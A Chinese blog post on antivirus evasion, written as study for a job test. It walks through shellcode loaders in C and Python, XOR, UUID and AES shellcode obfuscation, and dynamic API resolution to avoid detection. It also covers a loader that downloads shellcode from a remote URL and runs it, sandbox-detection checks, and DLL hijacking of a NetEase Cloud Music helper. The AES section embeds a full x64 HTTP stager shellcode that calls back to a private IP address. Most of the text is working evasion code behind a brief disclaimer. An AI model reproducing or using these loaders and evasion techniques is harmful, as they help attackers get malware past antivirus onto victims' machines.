免杀初步学习

文章发布时间:

最后更新时间:

文章总字数:
5.1k

预计阅读时间:
23 分钟

页面浏览: 加载中...

某公司的笔试题,赶紧学习一下

Warning

本文仅作学习用途分享,切勿将学习成果用于非法攻击他人计算机系统。如果有类似行为与本文无关

Shellcode

“Shellcode是一段用于攻击软件漏洞的可执行代码”——Wikipedia

其实Shellcode可以使用msf或者cs来生成,这里就先不准备细讲了。

用msf或者cs生成c格式的shellcode之后内容大概是形如下面的格式的:

1
2
3
char buf[] = {
0x..., 0x..., ...
}

而后面关于Shellcode的展开都会使用这段C格式的十六进制作为基础

内存执行Shellcode

这里需要引入一个函数指针的概念,可以通过函数指针指向我们要执行的函数去执行函数,例如下面这个例子能够执行print函数:

1
2
3
4
5
6
7
8
9
10
11
#include <iostream>
#include <windows.h>
void print(){
std::cout << "123";
}

int main(){
void(*p)();
p = print;
p();
}

具体解释一下函数指针,他的形式类似于下面这个格式:

1
函数返回值类型(* 指针变量名)(函数参数列表)

例如

1
int(*p)(int, int);

返回int型的函数指针p,它的参数是两个int参数

而void(*p)()可以强制将函数参数转换成函数指针,再将p指向需要执行的函数,也就是p = print;,这样就能够执行print函数

接下来将shellcode加载到内存里执行需要知道虚拟内存中的机器码地址,这个时候一般需要使用到VirtualAlloc函数:

1
2
3
4
unsigned char shellcode[] = xxx;
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 利用VirtualAlloc分配可执行内存
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();

杀软查杀

杀软的查杀方式主要有两种:

  1. 静态查杀:文件在磁盘中的形式对文件进行检测查杀
  2. 动态查杀:文件在动态运行的时候在内存中的形式对文件进行查杀

除此之外,可能有一些杀软还有其他的查杀方式,例如:

  • 行为查杀:对一些系统行为进行检测,包括但不限于创建进程、加载驱动程序、修改注册表、访问磁盘等
  • AI分析查杀
  • 网络特征查杀

静态检测

文件静态的时候,可以通过dumpbin.exe等软件来查看shellcode demo,借用文章的一张图片来作展示:

除此之外,还有可能可以通过不同的软件来查看到包括但不限于:

PE文件头信息、shellcode代码信息、shellcode loader信息、文件的hash值等

杀软在静态检测的时候,主要的目标是查杀shellcode,当然还有可能会检测一些其他信息,例如表是否存在shellcode特征等。

如何避免被静态检测到shellcode

因此比较重要的一点就是如何避免杀软检测到shellcode:

  1. 对shellcode的特征进行修改。这里又细分为大改和小改,大改就是将shellcode进行加密、编码等操作;小改则是根据你需要绕过的杀软的检测特征,对那一部分shellcode进行修改,同时保证代码效果不发生变化即可。大改比较简单粗暴,但是使用的时候需要还原;而小改比较复杂,需要了解杀软的规则、检测特征再针对其进行免杀
  2. shellcode和exe分离,也就是shellcode分离免杀技术。例如一个“正常”的exe,而shellcode放在远程,exe通过http请求获取到shellcode再动态分配内存执行

同时还有上文提到的其他一些shellcode特征,例如shellcode调用的时候会使用VirtualAlloc这些敏感api等,这里可以使用一些奇怪方式去解决,例如动态加载api,利用loadlibrary+getprocaddress来获取到某些api的地址。可以通过一些回调函数来绕过Thread()等检测

动态检测

动态查杀的实现主要有两个思路:

  1. 虚拟化:也就是沙箱。杀软可能会携带虚拟机沙箱,当文件落地的时候,如果文件是一个.exe文件,杀软可能就会先放在一个沙箱环境里模拟运行进行查杀。还有可能会对抗一些在线的沙箱,例如微步云沙箱等。
  2. 真实运行内存检测:在沙箱模拟运行完毕后,用户自己在物理机上运行后,杀软可以随时将该文件的内存dump下来进行检测

动态检测的绕过

首先是虚拟化的绕过,也就是绕过沙箱

  1. 检测沙箱环境,核心就是检测到沙箱环境或者是虚拟化特征之后不释放shellcode
  2. 样本做一些虚拟化环境、沙箱环境中做不到的操作

然后是绕过内存检测

  1. 内存的dump肯定是有限的,不可能无限dump内存进行检测,这样会极大地占用资源。因此杀软导出内存都是有策略地导出的,例如运行五秒钟后dump一次、检测到某些可疑行为dump一次。这个时候我们只需要在dump的时候保证shellcode等逻辑代码是被加密的即可
  2. 修改特征。这个方法是非常困难的,因为这个方法和静态检测中的小改思路是一样的,杀软查哪里改哪里的特征,这个方法需要不断地进行黑盒测试去修改大量特征。

静态免杀

最简单粗暴的方法就是对shellcode进行加密,也就是常说的shellcode混淆。对于混淆的方式有各种各样的,大部分是base64编码,xor,aes,rc4,添加随机字符,字符串变形等这些混淆方式的各种组合。

将shellcode加密

xor

比如使用xor加密的一个shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
void xor_decrypt(uint8_t* data, size_t len, uint8_t* key, size_t key_len){
for (size_t i = 0; i < len; i++) {
data[i] ^= key[i % key_len];
}

}
int main() {

// 加密参数
uint8_t encrypted_data[] = {}; // 自己的XOR加密shellcode
uint8_t xor_key[] = {}; // XOR的key
size_t data_len = sizeof(encrypted_data);
size_t key_len = sizeof(xor_key);

// XOR解密
xor_decrypt(encrypted_data, data_len, xor_key, key_len);

// 验证解密后数据不为空
if (data_len == 0) {
system("pause");
return 1;
}

// 分配可执行内存
printf("[*] 分配可执行内存...\\n");
void* exec_mem = VirtualAlloc(NULL, data_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec_mem) {
printf("[-] VirtualAlloc失败: %lu\\n", GetLastError());
system("pause");
return 1;
}

// 复制shellcode到内存
memcpy(exec_mem, encrypted_data, data_len);

HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
if (!hThread) {
printf("[-] CreateThread失败: %lu\\n", GetLastError());
VirtualFree(exec_mem, 0, MEM_RELEASE);
system("pause");
return 1;
}

WaitForSingleObject(hThread, INFINITE);

// 清理资源
CloseHandle(hThread);
VirtualFree(exec_mem, 0, MEM_RELEASE);
system("pause");
return 0;
}

当然还有不同的加密方式,例如aes、RC4,还有一些更新的方式:IPv4、IPv6、MAC、UUID、XChaCha20、ECC椭圆曲线加密等

uuid

例如一个uuid的shellcode流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 加密的UUID shellcode数组
const char* uuidShellcode[] = {
"e48348fc-e8f0-00c0-0000-415141505251",
"d2314856-4865-528b-6048-8b5218488b52",
// ... 更多UUID
};

int main() {
// 解密并执行
UUID uuid;
BYTE* shellcode = (BYTE*)VirtualAlloc(NULL, sizeof(uuidShellcode)/16,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);

DWORD offset = 0;
for (int i = 0; i < sizeof(uuidShellcode)/sizeof(uuidShellcode[0]); i++) {
UuidFromStringA((RPC_CSTR)uuidShellcode[i], &uuid);
memcpy(shellcode + offset, &uuid, sizeof(UUID));
offset += sizeof(UUID);
}

// 类型转换并执行
void (*func)() = (void (*)())shellcode;
func();

return 0;
}

这里的UuidFromStringA函数是一个Windows API,它的作用是将字符串转换为UUID,并返回二进制形式指向UUID的指针

aes

再比如aes的加密算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <windows.h>  
#include "AES.h"
#include <iostream>
#include <thread>
using namespace std;

int main() {
//http x64 shellcode
unsigned char plain[] = "\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc8\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x66\\x81\\x78\\x18\\x0b\\x02\\x75\\x72\\x8b\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b\\x12\\xe9\\x4f\\xff\\xff\\xff\\x5d\\x6a\\x00\\x49\\xbe\\x77\\x69\\x6e\\x69\\x6e\\x65\\x74\\x00\\x41\\x56\\x49\\x89\\xe6\\x4c\\x89\\xf1\\x41\\xba\\x4c\\x77\\x26\\x07\\xff\\xd5\\x48\\x31\\xc9\\x48\\x31\\xd2\\x4d\\x31\\xc0\\x4d\\x31\\xc9\\x41\\x50\\x41\\x50\\x41\\xba\\x3a\\x56\\x79\\xa7\\xff\\xd5\\xeb\\x73\\x5a\\x48\\x89\\xc1\\x41\\xb8\\x50\\x00\\x00\\x00\\x4d\\x31\\xc9\\x41\\x51\\x41\\x51\\x6a\\x03\\x41\\x51\\x41\\xba\\x57\\x89\\x9f\\xc6\\xff\\xd5\\xeb\\x59\\x5b\\x48\\x89\\xc1\\x48\\x31\\xd2\\x49\\x89\\xd8\\x4d\\x31\\xc9\\x52\\x68\\x00\\x02\\x40\\x84\\x52\\x52\\x41\\xba\\xeb\\x55\\x2e\\x3b\\xff\\xd5\\x48\\x89\\xc6\\x48\\x83\\xc3\\x50\\x6a\\x0a\\x5f\\x48\\x89\\xf1\\x48\\x89\\xda\\x49\\xc7\\xc0\\xff\\xff\\xff\\xff\\x4d\\x31\\xc9\\x52\\x52\\x41\\xba\\x2d\\x06\\x18\\x7b\\xff\\xd5\\x85\\xc0\\x0f\\x85\\x9d\\x01\\x00\\x00\\x48\\xff\\xcf\\x0f\\x84\\x8c\\x01\\x00\\x00\\xeb\\xd3\\xe9\\xe4\\x01\\x00\\x00\\xe8\\xa2\\xff\\xff\\xff\\x2f\\x58\\x34\\x5a\\x77\\x00\\xbd\\xa3\\x09\\x05\\x92\\x94\\xc5\\x2c\\x92\\x73\\x8c\\x7d\\xfe\\x2c\\xa4\\x45\\xe8\\x6c\\xab\\xa5\\x52\\xec\\x1d\\x16\\x89\\x43\\x65\\x7c\\x19\\x1e\\x3e\\xc5\\x49\\x2f\\x52\\xf4\\xdc\\x29\\x12\\x73\\x35\\x72\\x89\\xba\\x04\\xdf\\xc1\\xd9\\x2d\\x20\\xec\\x91\\x82\\x56\\x29\\xc3\\x29\\x23\\x0f\\xaa\\x25\\xc1\\x6b\\x14\\x03\\x31\\x9e\\x39\\x88\\x39\\xb0\\xde\\xd8\\x00\\x55\\x73\\x65\\x72\\x2d\\x41\\x67\\x65\\x6e\\x74\\x3a\\x20\\x4d\\x6f\\x7a\\x69\\x6c\\x6c\\x61\\x2f\\x34\\x2e\\x30\\x20\\x28\\x63\\x6f\\x6d\\x70\\x61\\x74\\x69\\x62\\x6c\\x65\\x3b\\x20\\x4d\\x53\\x49\\x45\\x20\\x38\\x2e\\x30\\x3b\\x20\\x57\\x69\\x6e\\x64\\x6f\\x77\\x73\\x20\\x4e\\x54\\x20\\x35\\x2e\\x31\\x3b\\x20\\x54\\x72\\x69\\x64\\x65\\x6e\\x74\\x2f\\x34\\x2e\\x30\\x3b\\x20\\x2e\\x4e\\x45\\x54\\x20\\x43\\x4c\\x52\\x20\\x32\\x2e\\x30\\x2e\\x35\\x30\\x37\\x32\\x37\\x29\\x0d\\x0a\\x00\\xc1\\x01\\x5f\\x90\\xbe\\x7f\\x53\\xbb\\xa4\\xe1\\x6d\\x15\\x35\\x12\\x19\\xa0\\xb9\\xc3\\x9e\\xa6\\xa8\\xb4\\xb9\\x68\\x90\\x78\\xbf\\xab\\x92\\xc7\\x49\\xf5\\x56\\x0f\\xab\\xf0\\x17\\x6d\\x10\\x18\\xf0\\x1c\\xe5\\xed\\x23\\x3e\\x29\\x77\\x27\\xd2\\x22\\x04\\x09\\xa4\\x8b\\x0c\\x74\\xb6\\x56\\x02\\xe1\\xa0\\x3d\\x5e\\x66\\xe9\\x3c\\x93\\x1e\\x4b\\xb5\\xa9\\x60\\xcc\\x22\\x08\\x97\\x5f\\x56\\x60\\x4c\\x3c\\xb4\\x29\\xb2\\x16\\xed\\x7f\\xe9\\x54\\x64\\xf5\\xf7\\xbd\\x4c\\xd4\\x7d\\x33\\x78\\x76\\x7d\\xa8\\xe3\\x43\\xf2\\x8f\\x2d\\x1f\\x31\\xf0\\xb9\\x84\\xf7\\x1f\\x82\\x4b\\x07\\x22\\x1e\\x8d\\x1f\\xf0\\xc8\\xc1\\x06\\xb8\\xd7\\x25\\x6a\\x69\\xc7\\x5d\\x74\\x5c\\xbb\\x2e\\x3a\\xb7\\xd0\\xa1\\x62\\x74\\xc7\\x3e\\x14\\x7e\\x3f\\x3f\\x56\\xa1\\xdc\\x0c\\x1e\\xec\\xb5\\x59\\x28\\x52\\x23\\xaf\\x68\\x79\\xb5\\xf1\\xb4\\x50\\x7a\\xab\\xe4\\x28\\xf2\\x91\\x0c\\x73\\xdc\\x4c\\x49\\xc6\\xb7\\xa9\\xa9\\x8c\\x7b\\x24\\x51\\x23\\xc8\\x93\\xe2\\xd7\\x96\\x95\\x56\\x0c\\x7b\\x6a\\xad\\xaf\\x85\\xc9\\xe3\\xab\\x7c\\x35\\xfe\\x00\\x41\\xbe\\xf0\\xb5\\xa2\\x56\\xff\\xd5\\x48\\x31\\xc9\\xba\\x00\\x00\\x40\\x00\\x41\\xb8\\x00\\x10\\x00\\x00\\x41\\xb9\\x40\\x00\\x00\\x00\\x41\\xba\\x58\\xa4\\x53\\xe5\\xff\\xd5\\x48\\x93\\x53\\x53\\x48\\x89\\xe7\\x48\\x89\\xf1\\x48\\x89\\xda\\x41\\xb8\\x00\\x20\\x00\\x00\\x49\\x89\\xf9\\x41\\xba\\x12\\x96\\x89\\xe2\\xff\\xd5\\x48\\x83\\xc4\\x20\\x85\\xc0\\x74\\xb6\\x66\\x8b\\x07\\x48\\x01\\xc3\\x85\\xc0\\x75\\xd7\\x58\\x58\\x58\\x48\\x05\\x00\\x00\\x00\\x00\\x50\\xc3\\xe8\\x9f\\xfd\\xff\\xff\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x31\\x34\\x38\\x2e\\x31\\x33\\x37\\x00\\x00\\x00\\x22\\x90";


int plain_size = sizeof(plain) / sizeof(plain[0]);
if (plain_size % 16 != 0) {
plain_size = plain_size + (16 - (plain_size % 16));
}

printf("明文:");
for (int i = 0; i < plain_size; i++) {
printf("%x", plain[i]);
}
printf("\n");

unsigned char iv[] = {0x01, 0x02, 0x03, 0x09, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f};
printf("IV:");
for (int i = 0; i < 16; i++) {
printf("%x", iv[i]);
}
printf("\n");


unsigned char key[] = { 0x01, 0x02, 0x03, 0x09, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f }; //key example

printf("KEY:");
for (int i = 0; i < 16; i++) {
printf("%x", key[i]);
}
printf("\n");

AES aes(AESKeyLength::AES\_128);


//加密
//unsigned char* cipher = aes.EncryptECB(plain, plain_size, key); //ecb
unsigned char* cipher = aes.EncryptCBC(plain, plain_size, key,iv); //cbc
printf("密文:");
for (int i = 0; i < plain_size; i++) {
printf("\\\\x%02x", cipher[i]);
}
printf("\n");


}

shellcodeloader绕过

传统的shellcodeloader使用VirtualAlloc开辟shellcode的存储空间,然后使用RtlMoveMemory(memcpy)等方式将shellcode移入内存空间,再强制使用函数指针执行,这种方式较容易被检测出来,此时我们可以尝试自己动态加载loader需要的函数(VirtualAlloc)或者自己实现VirtualAlloc

这里采用动态加载的方式调用VirtualAlloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
uint8_t cipher[] = ""; // 加密shellcode
char a[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\\0'};
char b[] = { 'V','i','r','t','u','a','l','A','l','l','o','c','\\0' };
char c[] = { 'N','t','d','l','l','.','d','l','l','\\0' };
char d[] = {'R','t','l','M','o','v','e','M','e','m','o','r','y','\\0' };

/* 这里是shellcode解密函数,略去 */

MyVirtualAlloc myVa = (MyVitualAlloc)GetProcAddress(GetModuleHandle(a), b);

MyRtlMoveMemory myMov = (MyRtlMoveMemory)GetProcAddress(GetModuleHandle(c), d);

LPVOID mem = myVa(NULL, cipher_size +1, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
myMov(mem, res_plain, cipher_size);
((void(*)())mem)();

动态拉取shellcode

将shellcode和loader分离,只在运行loader的时候从远程拉取shellcode,这种方式也能够规避杀毒软件。

一个简单的loader实现如下,shellcode采用xor + base64 编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import ctypes
import requests
import base64
import requests
import sys

def xor_decrypt(data, key):
return bytearray([b ^ key[i % len(key)] for i, b in enumerate(data)])

# 处理\\x -> \x
def read_hex_escape_shellcode(data):
try:
shellcode = bytearray()
i = 0
while i < len(data):
if data.startswith(b'\\x', i):
hex_str = data[i+2:i+4]
shellcode.append(int(hex_str, 16))
i += 4
else:
i += 1
return shellcode
except Exception as e:
print(e)
sys.exit(1)

rep = requests.get("http://example.com/1.txt").content

xor_shellcode = read_hex_escape_shellcode(base64.b64decode(rep))

xor_key = b"xxx" # 16bytes的xor_key

decrypted_data = xor_decrypt(xor_shellcode, xor_key)

# 设置VirtualAlloc的返回类型为uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

# VirtualAlloc分配内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(decrypted_data)),
ctypes.c_int(0x3000), # 对应 MEM_COMMIT | MEM_RESERVE
ctypes.c_int(0x40)
)

buffered = (ctypes.c_char * len(decrypted_data)).from_buffer(decrypted_data)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buffered,
ctypes.c_int(len(decrypted_data))
)

handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

加壳

软件加壳也可以称为软件加密,或者叫软件压缩,只是压缩的方式和目的不太一样,壳是对软件所增加的保护,并不会破坏程序内部的结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。

这样一来,在我们看来似乎加壳之后的程序并没有什么变化,然而它却达到了加密的目的,加密的壳基本上可以将shellcode的特征全部覆盖。

市面上常见的shellcode加壳工具可以采用Themida壳进行加密,加壳效果如下(只测了电脑管家,因为笔试需要):

(192.168.54.35为自己的虚拟机ip)

动态免杀

动态免杀需要对抗的是实际的运行环境和沙箱。因此分为反沙箱和实际运行环境来展示

对抗沙箱

对抗沙箱的可以从下面几个方向来检测:

  • 检查CPU个数
  • 检查RAM大小
  • 检查MAC地址
  • 检查BIOS

…

大部分的检测方法可以从这里找到,这里就举几个有代表性的例子

检测CPU个数

判断CPU个数少于2个的时候,为非真实物理机:

1
2
3
4
5
6
7
8
9
10
11
bool checkCPUCores(){
SYSTEM_INFO systeminfo;
GetSystemInfo(&systeminfo);
DWORD numberOfProcessors = systeminfo.dwNumberOfProcessors;
if (numberofProcessors < 2){
return false;
}
else{
return true;
}
}

检测RAM

检测RAM的大小,如果小于2G则返回非真实虚拟机

1
2
3
4
5
6
7
8
9
10
11
12
bool checkRAM(){
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = sizeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;
if(RAMMB < 2048){
return false;
}
else{
return true;
}
}

CPU温度检测

这里需要有管理员权限才能够查询:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
BOOL isAdmin()
{
BOOL bElevated = FALSE;
HANDLE hToken = NULL;

// Get current process token
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
return FALSE;

TOKEN_ELEVATION tokenEle;
DWORD dwRetLen = 0;

// Retrieve token elevation information
if (GetTokenInformation(hToken, TokenElevation, &tokenEle, sizeof(tokenEle), &dwRetLen))
{
if (dwRetLen == sizeof(tokenEle))
{
bElevated = tokenEle.TokenIsElevated;
}
}

CloseHandle(hToken);
return bElevated;
}

检测开机时间

当开机时间大于一个小时的时候才认为是物理机而不是沙箱环境

1
2
3
4
5
6
7
8
bool checkUptime(){
DWORD upTime = GetTickCount();
if (upTime > 3600000){
return true;
} else{
return false;
}
}

还有更多的方法,可以参考上文提及的github链接

对抗真实运行环境

对抗真实环境需要用到上文前面提及的根据杀毒软件dump的时机对shellcode进行隐藏。当杀毒软件dump内存的时候将shellcode重新加密,dump之后解密。其实一句话来说就是动态加解密shellcode

这里的问题关键在于:

  1. 如何找到dump的时机,然后加解密shellcode
  2. 如何找到所有的shellcode

如果这里使用cobalt strike的shellcode可以通过hook sleep函数来动态完成加解密,而第二个问题会比较困难,这里贴出原文来看师傅是怎么处理的:

记一次cs样本免杀实践

白加黑

白加黑其实就是一个没有问题的exe(白),搭配上一个恶意DLL(黑)。其实就是DLL劫持。这些无害程序大多数都拥有正规的文件签名与证书,因此会被大多数免杀列入白名单里,对他们的一些敏感操作会进行规避。如果使用白名单内的程序进行DLL劫持,将其替换为自己的payload,往往可以实现恶意代码的免杀

调用DLL有一个大致的优先级,大致为:

  • 程序根目录
  • 系统目录(system32)
  • 16位系统目录
  • Windows目录
  • 当前工作目录
  • 环境变量PATH目录

因此如果利用原本的DLL伪造一个新的DLL,那么程序会在尝试加载DLL的时候优先载入恶意DLL,从而执行恶意代码

具体步骤如下:

  1. 寻找调用的dll(这个dll必须没做签名校验等行为)
  2. 构造恶意DLL
  3. 将exe和dll放到同一目录下执行

需要用到的工具是AheadLib,它能够将dll导出,然后借助visual studio来重新构建我们的恶意dll程序

白加黑实战

这里采用大家可能日常用的比较多的网易云音乐作为例子,在网易云音乐的文件夹中会有一个叫cloudmusic_reporter.exe的应用程序,将其单独复制出来并运行会报错:

将libcurl.dll复制到相同的文件夹里并尝试运行,是可以正常运行不报错的

因此可以尝试对libcurl进行攻击

导出函数

使用AheadLib构造并导出后,会生成:

  • .cpp文件
  • .asm文件

创建vs动态链接库工程,然后将libcurl.cpp和libcurl_jump.asm加入到项目,接下来根据libcurl_jump.asm的注释操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

;
; created by AheadLib
; github:https://github.com/strivexjun/AheadLib-x86-x64
;
; 把 .asm 文件添加到工程一次
; 右键单击文件-属性-常规-
; 项类型:自定义生成工具
; 从生成中排除:否

; 然后复制下面命令填入
; 命令行: ml64 /Fo $(IntDir)%(fileName).obj /c /Cp %(fileName).asm
; 输出: $(IntDir)%(fileName).obj;%(Outputs)
; 链接对象: 是
;

在Load函数加载恶意shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
TCHAR tzTemp[MAX_PATH * 2];

//
// 这里是否从系统目录或当前目录加载原始DLL
//
//GetModuleFileName(NULL,tzPath,MAX_PATH); //获取本目录下的
//PathRemoveFileSpec(tzPath);

GetSystemDirectory(tzPath, MAX_PATH); //默认获取系统目录的

lstrcat(tzPath, TEXT("\\libcurl.dll"));

// 加载Shellcode

g_OldModule = LoadLibrary(tzPath);
if (g_OldModule == NULL)
{
wsprintf(tzTemp, TEXT("无法找到模块 %s,程序无法正常运行"), tzPath);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
}

return (g_OldModule != NULL);

}

踩坑点

这里踩了一个坑,生成DLL的时候一致疯狂提示我这边都是没有标识符等问题,这里需要将libcurl.cpp复制到dllMain.cpp里,然后其他步骤不变

接下来要注意的是这里要将load函数里的这两行注释去掉

加入恶意shellcode

在load函数里,将白程序的名称修改:

例如我这里的是cloudmusic_reporter.exe

接下来随意找一个傀儡注入进程的代码复制进去

不过这里调试的时候一直没上线,也就没后续了.jpg

要学的东西还有很多,可能也不会再回来看了,哭。